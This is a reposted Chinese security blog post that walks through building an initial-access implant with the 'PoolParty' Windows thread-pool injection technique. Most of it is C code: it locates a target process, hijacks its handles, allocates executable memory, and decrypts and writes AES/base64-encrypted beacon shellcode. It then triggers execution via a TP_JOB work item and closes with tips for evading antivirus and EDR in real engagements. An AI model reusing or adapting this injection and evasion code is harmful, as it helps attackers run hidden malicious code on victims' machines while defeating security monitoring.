利用Windows线程池的代码注入

admin 2023年12月25日16:53:28评论14 views字数 7913阅读26分22秒阅读模式

前言

12月,一位拿过冠军的巴西柔术运动员在2023欧洲黑帽大会发表了一个新的代码注入的研究,这不禁让我感慨万千。跟人家业余的一比,我这拿打站当饭碗的人都看不见他的尾灯。
这位研究员找出了一种新的代码注入方式将其取名为PoolParty。这是一种利用Windows线程池的代码注入,今年下半年也出过其他新的技术例如NtSetInformationProcessDllNotificationInjection,多多少少都有些踩着前人肩膀的意味,不过PoolParty确是新的技术。当我第一次看研究文章的时候这个技术在国内也没什么知名度,但过了几天不知怎的连国内某些工具搬运号都在传一个PoolPartybof脚本。
bof只能在获取权限后用实现权限维持,其实这个注入拿来作为初始访问也是不错的。

目的

我不打算在本篇文章中详细探究Windows线程池的机制,也不打算实现PoolParty每一种的注入方式。我使用一种方式作为参考,并用代码实现一个用于初始访问的马并做基本的免杀,在文章最后公开所有相关的代码。
PoolParty作者给出了示例代码,但是他用标准c++以及boost库写的,代码比较难以理解,我参考其他的bof项目进行了改动,采用其中一种向TP_ALPC插入工作项的方式来实现。

介绍

常规的代码注入分三步,分配空间/修改空间->写入shellcode->执行线程/进程,各种新技术的研究也就是围绕着这三点。PoolParty利用用户模式下的Windows的可信进程池机制解决了第三步————执行的问题,可以很大程度上规避EDR及杀毒。
要了解如何使用Windows线程池注入,首先要知道什么是Windows线程池。

Windows 线程池是一种由操作系统提供的机制,用于管理和执行应用程序中的并发任务。线程池允许应用程序有效地利用系统资源,通过重用线程来减少线程的创建和销毁开销,从而提高性能和响应性。*

Windows上的所有进程是共享线程池的,线程池包括工作线程等待线程工作队列工作器工厂默认线程池。作者详细剖析了线程池的每个功能,并利用8种不同的利用方式实现了代码注入。

实现

获取目标进程句柄

因为是远程注入,所以需要指定一个进程,作为初始访问,各个机器上的pid事先是不知道的,可以写一个GetProcessIdByName函数,使用CreateToolhelp32Snapshot创建快照,然后来根据进程名枚举pid。
然后使用OpenProcess函数根据进程pid获取句柄,以便进行后续操作。

DWORD GetProcessIdByName(const wchar_t* processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W processEntry;
        processEntry.dwSize = sizeof(PROCESSENTRY32W);
        if (Process32FirstW(snapshot, &processEntry)) {
            do {
                if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
                    pid = processEntry.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &processEntry));
        }
        CloseHandle(snapshot);
    }
    return pid;
}
HANDLE GetTargetProcessHandle() {

DWORD m_dwTargetPid = GetProcessIdByName(processName); //得到PID
HANDLE p_hTargetPid = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, m_dwTargetPid); //获取句柄
if (p_hTargetPid == NULL) {
return NULL;
}
else {
return p_hTargetPid;
}
}

劫持进程句柄

通过查找NtQueryInformationProcess函数的地址,将目标进程的句柄信息到当前进程,便可以在当前进程操作目标进程了,这要比直接操作远程线程安全。

HANDLE HijackProcessHandle(PWSTR wsObjectType, HANDLE p_hTarget, DWORD dwDesiredAccess) {
    _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"));

BYTE* Information = NULL;
ULONG InformationLength = 0;
NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;

do {
Information = (BYTE*)realloc(Information, InformationLength);
Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength);
} while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);

PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information);

HANDLE p_hDuplicatedObject;
ULONG InformationLength_ = 0;

for (int i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) {
DuplicateHandle(
p_hTarget,
pProcessHandleInformation->Handles[i].HandleValue,
GetCurrentProcess(),
&p_hDuplicatedObject,
dwDesiredAccess,
FALSE,
(DWORD_PTR)NULL);

BYTE* pObjectInformation;
pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation);
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation);

if (wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) != 0) {
continue;
}

return p_hDuplicatedObject;
}
}

分配内存空间

由于已经劫持了目标进程,在当前进程分配空间等于在目标进程分配空间。
因为这个技术解决的是CreateRemoteThread()的问题,所以分配空间修改空间属性还是必要的。

    LPVOID ShellcodeAddress = VirtualAllocEx(m_p_hTargetPid, NULL, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (ShellcodeAddress == NULL) {
        return -1;
    }
    return ShellcodeAddress;

写入shellcode

使用WriteProcessMemory写入shellcode

BOOL res = WriteProcessMemory(m_p_hTargetPid, m_ShellcodeAddress, m_cShellcode, m_szShellcodeSize, NULL);

写入之前还需要进行shellcode加密实现免杀。
自定义代码的AES算法用于加密,不要使用AES库,要使用自定义代码实现。

使用python脚本加密二进制的shellcode,脚本使用32位随机key加密原始shellcode并base64,加密后会在当前目录生成一个sc.h文件。
文件内容如下

const char sc_0[16] = { 0x4c,0x62,0x6f,0x44,0x4f,0x68,0x42,0x4f,0x32,0x66,0x35,0x6a,0x34,0x4f,0x51,0x52 };
char sc_1[16] = { 0x58,0x59,0x48,0x56,0x74,0x51,0x30,0x4d,0x62,0x55,0x61,0x5a,0x66,0x2b,0x68,0x79 };
const char sc_2[16] = { 0x2b,0x33,0x4b,0x5a,0x67,0x32,0x7a,0x44,0x4f,0x67,0x58,0x76,0x63,0x51,0x5a,0x77 };
char sc_3[16] = { 0x4a,0x66,0x47,0x7a,0x4d,0x6b,0x74,0x70,0x52,0x55,0x79,0x32,0x4b,0x57,0x75,0x73 };
const char sc_4[16] = { 0x33,0x6a,0x78,0x4e,0x63,0x6c,0x75,0x69,0x33,0x49,0x31,0x78,0x31,0x39,0x47,0x42 };
省略

char sc[];
int sc_length = ;
void buildsc_0() {
memcpy(&sc[0], sc_0, 16);
memcpy(&sc[16], sc_1, 16);
memcpy(&sc[32], sc_2, 16);
省略
}
void buildsc() {
buildsc_0();
}
BYTE key[] = "eMABoOlBgCJyZKavRQiWLqnKENMBLeoA";

将加密后的shellcode复制到项目中并定义相应的解密代码

    buildsc();      //获取shellcode

size_t szOutput = 0;
DWORD size = 0;
unsigned char* file_enc = NULL;
BYTE* beaconContent = NULL;
size_t beaconSize = NULL;
file_enc = base64_decode(sc, sc_length, &szOutput); //先对shellcode base64解码

for (int i = 0; i < sc_length; i++) {
printf("0x%x,", file_enc[i]);
}

if (szOutput == 0) {
DEBUG("[x] Base64 decode failed n");
return -1;
}

//使用key来AES解密
beaconSize = szOutput - 16;
beaconContent = (unsigned char*)calloc(beaconSize, sizeof(BYTE));
BOOL decryptStatus = aes_decrypt(key, (sizeof(key) / sizeof(key[0])) - 1, file_enc, beaconSize, beaconContent);
if (!decryptStatus || beaconContent == NULL) {
DEBUG("[x] AES decryption failedn");
return -1;
}
for (int i = 0; i < beaconSize; i++) {
m_cShellcode[i] = beaconContent[i];
printf("0x%x,", beaconContent[i]);
}
printf("n");
m_szShellcodeSize = beaconSize;

向TP_JOB插入线程

随机名称工作对象名

void RemoteTpJobInsertionSetupExecution() {
    srand((unsigned int)time(NULL));
    for (int i = 0; i < JOB_NAME_LENGTH; ++i) {
        POOL_PARTY_JOB_NAME[i] = generateRandomLetter();
    }
    POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH] = '&#x0;';

创建一个工作对象,从ntdll.dll获取TpAllocJobNotification函数地址,创建一个线程池工作

    _TpAllocJobNotification TpAllocJobNotification = (_TpAllocJobNotification)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocJobNotification"));
    HANDLE p_hJob = CreateJobObjectA(NULL, POOL_PARTY_JOB_NAME);
    if (p_hJob == NULL) {
        printf("[INFO]  Failed to create job object with name %s", POOL_PARTY_JOB_NAME);
        return;
    }
    printf("[INFO]  Created job object with name `%s`", POOL_PARTY_JOB_NAME);

PFULL_TP_JOB pTpJob = { 0 };
NTSTATUS Ntstatus = TpAllocJobNotification(&pTpJob, p_hJob, m_ShellcodeAddress, NULL, NULL);
if (!NT_SUCCESS(Ntstatus)) {
printf("[INFO] TpAllocJobNotification Failed!");
return;
}
printf("[INFO] Created TP_JOB structure associated with the shellcode");

分配TP_JOB并写入目标进程

    PFULL_TP_JOB RemoteTpJobAddress = (PFULL_TP_JOB)(VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    printf("[INFO]  Allocated TP_JOB memory in the target process: %p", RemoteTpJobAddress);
    WriteProcessMemory(m_p_hTargetPid, RemoteTpJobAddress, pTpJob, sizeof(FULL_TP_JOB), NULL);
    printf("[INFO]  Written the specially crafted TP_JOB structure to the target process");

工作对象关联到IO完成端口

    JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort = { 0 };
    SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
    printf("[INFO]  Zeroed out job object `%s` IO completion port", POOL_PARTY_JOB_NAME);

JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress;
JobAssociateCopmletionPort.CompletionPort = m_p_hIoCompletion;
SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
printf("[INFO] Associated job object `%s` with the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME);

将当前进程分配给工作对象

    AssignProcessToJobObject(p_hJob, GetCurrentProcess());
    printf("[INFO]  Assigned current process to job object `%s` to queue a packet to the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME);
}

利用不同的线程池功能会需要不同的条件,这里是通过关联IO端口让工作对象触发线程,其他的方式有例如需要写入文件、链接ALPC端口之类的。

至此已经完成了整个注入流程。

观察

通过在代码中修改processName指定进程名,可疑看到新线程已经成功被线程池执行。

利用Windows线程池的代码注入

在进程的内存中可看到注入的代码

利用Windows线程池的代码注入

对比一下注入前后的线程情况

注入前

利用Windows线程池的代码注入

注入后

利用Windows线程池的代码注入
利用Windows线程池的代码注入

虽然多出几个新线程,但是在线程调用栈中完全找不到可疑API。

最后

改一下后台运行,简单测试一下杀软环境。

杀毒对explorer.exeRuntimeBroker.exe之类的进程严格监控,实战中还需注意。
而且对于不同杀软,实战中还需要实现不同的混淆方式。

利用Windows线程池的代码注入

引用

原作者文章
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools?utm_source=social-media&utm_medium=twitter&utm_campaign=2023Q3_SM_Twitter

原作者代码
https://github.com/SafeBreach-Labs/PoolParty

Bof插件
https://github.com/0xEr3bus/PoolPartyBof

原文始发于微信公众号(XINYU2428):利用Windows线程池的代码注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日16:53:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Windows线程池的代码注入http://cn-sec.com/archives/2333083.html

发表评论

匿名网友 填写信息